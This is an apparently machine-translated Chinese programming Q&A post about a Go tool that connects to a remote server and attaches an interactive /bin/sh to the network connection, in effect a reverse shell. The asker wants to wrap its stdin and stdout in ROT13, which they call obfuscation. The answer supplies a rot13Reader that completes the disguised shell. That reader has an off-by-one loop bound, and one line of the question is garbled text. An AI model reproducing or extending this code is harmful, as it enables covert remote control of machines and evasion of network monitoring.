目标:我想捕获cmd.Stdin的所有字节,并使用此rot13函数处理它们:https://play.golang.org/p/VX2pwaIqhmT故事:我正在编写一个小工具,该工具将为win / linux进行交叉编译,所以我试图使它尽可能简单。此工具连接到服务器,我可以从中在客户端上执行命令。由于我必须为cmd.Stdout做同样的事情,所以我使用了这个:.......conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)......cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an ***interactive*** //***shell***, and not just a simple command cmd.Stdin = conncmdStdout, err := cmd.StdoutPipe() // works fine if err != nil { fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)}cmd.Stderr = connerr = cmd.Start() if err != nil { fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err) }.....err = OBFprocessStream(cmdStdout, conn) // works fine....其中OBF处理流函数基于此函数:https://play.golang.org/p/j_TKZWuhGaK。这里一切都很好。所以,我试图为cmd.Stdin复制同样的事情:.......conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)......cmd := exec.Command(/bin/sh, "-i") cmdStdin, err := cmd.StdinPipe() if err != nil { fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)}cmdStdout, err := cmd.StdoutPipe() if err != nil { fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)}cmd.Stderr = connerr = cmd.Start() if err != nil { fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err) }.....err = INOBFprocessStream(cmdStdin, conn).........err = OBFprocessStream(cmdStdout, conn)....但。。cmdStdin是一个Io.Writer关闭器,我真的不知道该怎么做才能捕获字节sEGIH秒狗hszrhoiò你能帮帮我吗?
1 回答
胡子哥哥
TA贡献1825条经验 获得超6个赞
因此,您实际上想要的似乎是从中读取数据,并使用ROT13对其进行过滤,然后将其传递给cmd.Stdin
(接受)。conn
io.Reader
而且你已经在实施io了。读者
:rot13Reader
type rot13Reader struct {
r io.Reader
}
func (r13 *rot13Reader) Read(b []byte) (int, error) {
n, err := r13.r.Read(b)
for i := 0; i <= n; i++ {
b[i] = rot13(b[i])
}
return n, err
}
因此,一个快速的解决方案可以是从中构建一个小的过滤器链,如下所示:
cmd.Stdin = &rot13Reader{conn}
- 1 回答
- 0 关注
- 64 浏览
添加回答
举报
0/150
提交
取消